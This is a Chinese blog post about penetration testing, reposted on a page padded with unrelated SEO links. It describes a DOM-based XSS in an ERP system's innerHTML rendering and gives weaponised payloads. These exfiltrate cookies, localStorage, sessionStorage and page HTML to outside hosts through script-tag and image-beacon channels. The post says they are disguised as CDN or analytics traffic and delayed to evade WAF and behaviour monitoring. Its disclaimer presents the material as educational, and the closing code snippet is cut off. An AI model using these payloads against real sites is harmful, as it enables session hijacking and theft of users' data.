当前位置: 首页 > wzjs >正文

家装网站模板下载淘宝指数入口

家装网站模板下载,淘宝指数入口,老公做赌博网站推广,企业画册设计欣赏声明 本文章所分享内容仅用于网络安全相关的技术讨论和学习,注意,切勿用于违法途径,所有渗透测试都需要获取授权,违者后果自行承担,与本文章及作者无关,请谨记守法。 1. 概述 在一次针对甲方ERP系统的渗透…

声明

本文章所分享内容仅用于网络安全相关的技术讨论和学习,注意,切勿用于违法途径,所有渗透测试都需要获取授权,违者后果自行承担,与本文章及作者无关,请谨记守法。

1. 概述

在一次针对甲方ERP系统的渗透测试中,我发现了一个隐秘的DOM型XSS漏洞。这种表面无害的漏洞通过巧妙构造的Payload,能够绕过同源策略、突破CSP防御,最终实现敏感数据自动化收割并发送到攻击者服务器。本文将完整呈现漏洞从发现到武器化的全路径攻击链。

2. 正文

0x01 漏洞发现:静态代码审计

漏洞代码定位:

// 高危渲染逻辑(核心系统模块)function getAppProps() {web.portal.appProps = skysz.ajax.getSync("./web/portal/appProps");skysz.$("app.name").innerHTML = web.portal.appProps.appName;document.title = skysz.$("app.name").innerText;

漏洞成因分析

  • 信任后端返回数据,未做消毒处理
  • 使用.innerHTML渲染不可控内容
  • API响应头缺失X-Content-Type-Options: nosniff

致命漏洞链:
后端JSON接口 → 前端innerHTML渲染 → DOM解析执行
当接口返回appName: '<img οnerrοr=恶意代码>'时,立即触发XSS

0x02 漏洞验证
// 劫持接口返回实现弹窗验证
Object.defineProperty(web.portal, 'appProps', {  get: () => ({ appName: '<img src=x onerror=alert(window.origin)>' })});//触发弹窗
getAppProps();

0x03 数据外泄多种姿势

1、JSONP协议(跨域数据劫持)

Object.defineProperty(web.portal, 'appProps', {get: () => ({appName: `<img src=x onerror="const script = document.createElement('script');script.src = 'https://legit-cdn.org/log?callback=__exfil&data=' + btoa(JSON.stringify({storage: localStorage,sessions: sessionStorage}));document.body.appendChild(script);">`})
});//创新方案:伪装合法的CDN请求规避WAF检测

2、图片信标突破(隐蔽+长度优化)

<JAVASCRIPT>
Object.defineProperty(web.portal, 'appProps', {get: () => ({appName: `<img src=x onerror="(function(){// 双通道智能备份传输const data = {cookies: document.cookie,ls: localStorage,ss: sessionStorage};// 通道1:JSONP主力传输(完整数据)const jsonpScript = document.createElement('script');jsonpScript.src = 'https://cdn.trusted.com/analytics.js?' + 'cid=${Math.random().toString(36).substr(2)}&' +'data=' + btoa(JSON.stringify(data));// 通道2:图片信标备份(关键数据)const beaconImg = new Image();beaconImg.src = 'https://log.tracking.com/pixel.gif?' +'c=' + encodeURIComponent(data.cookies);setTimeout(() => {document.head.appendChild(jsonpScript);document.body.appendChild(beaconImg);}, 2000); // 延时触发绕过行为监控})();">`})
});

3、混合传输模式:随机切换JSONP/Image

Object.defineProperty(web.portal, 'appProps', {get: () => ({appName: `<img src=x onerror="(function(){// 组合敏感数据const payload = {cookie: document.cookie,storage: JSON.stringify(localStorage),dom: document.documentElement.innerHTML.slice(0,2000)};// 多路传输保障const jsonpFn = () => {const s = document.createElement('script');s.src = 'http://10.191.129.67:8000/j?d='+btoa(JSON.stringify(payload))+'&t='+Date.now();};const imgFn = () => {new Image().src = 'http://10.191.129.67:8000/i.gif?c='+encodeURIComponent(payload.cookie);};// 随机化传输策略Math.random() > 0.5 ? jsonpFn() : imgFn();})();">`})
});

4、数据外带核心总结

3. 总结

漏洞挖掘规则:

1. **动态渲染点追踪**:- 全局搜索`.innerHTML`、`.outerHTML`、`document.write`- 检查Vue/React的`v-html`和`dangerouslySetInnerHTML`2. **API响应可控性验证**:- 修改后端返回的JSON内容- 测试XSS向量在不同上下文的触发情况3. **同源策略突破路径**:```javascript// 四重渗透路径检测const CHANNELS = ['fetch','WebSocket','navigator.sendBeacon','new Image()'];

4. 结语

愿诸君以深度防御为盾,以持续审计为刃,在代码构建的数字迷宫中,搭建不可逾越的安全长城。

http://www.dtcms.com/wzjs/292731.html

相关文章:

  • 网站源文件修改网络优化这个行业怎么样
  • 吉安建设工程项目网站2022年五月份热点事件
  • 网站制作功能多少钱权威解读当前经济热点问题
  • 网站建设如何定位武汉百度信息流广告
  • 如何做内部网站如何做网站营销
  • 网站内部链接是怎么做的企业查询网
  • 观澜网站建设公司今日热搜榜排名最新
  • 深圳做网站推广的公司哪家好seo短视频加密路线
  • 网站注册信息查询站长工具收录
  • 营销型网站的功能武汉seo全网营销
  • wordpress修改登陆地址后缀西安做推广优化的公司
  • 电脑上做免费网站教程视频适合seo优化的网站
  • wordpress子域名网站网店如何引流与推广
  • wordpress搬家后404企业seo顾问
  • 做代销的网站网络推广培训班哪家好
  • 备案我网站的大致内容是网络推广 公司 200个网站
  • 网站建站 外贸荆门网站seo
  • 郑州专业做淘宝网站建设seo推广有哪些方式
  • 小孩子和大人做的网站关键词点击价格查询
  • wordpress 播放seo排名培训
  • 深圳市做网站的公司网络营销策略案例
  • 合肥做公司网站联系方式什么平台可以免费发广告
  • 网站建设估价去除痘痘怎么有效果
  • 萧山品牌网站建设网页设计与制作个人网站模板
  • 打折网站运营思路百度seo系统
  • 网站分站开发计划书2023今天的新闻联播
  • 会宁县建设局网站天津关键词排名推广
  • 银川做网站哪家公司好网络广告营销的概念
  • 沈阳疫情最新消息封城seo文章推广
  • 大理如何做百度的网站营销和销售的区别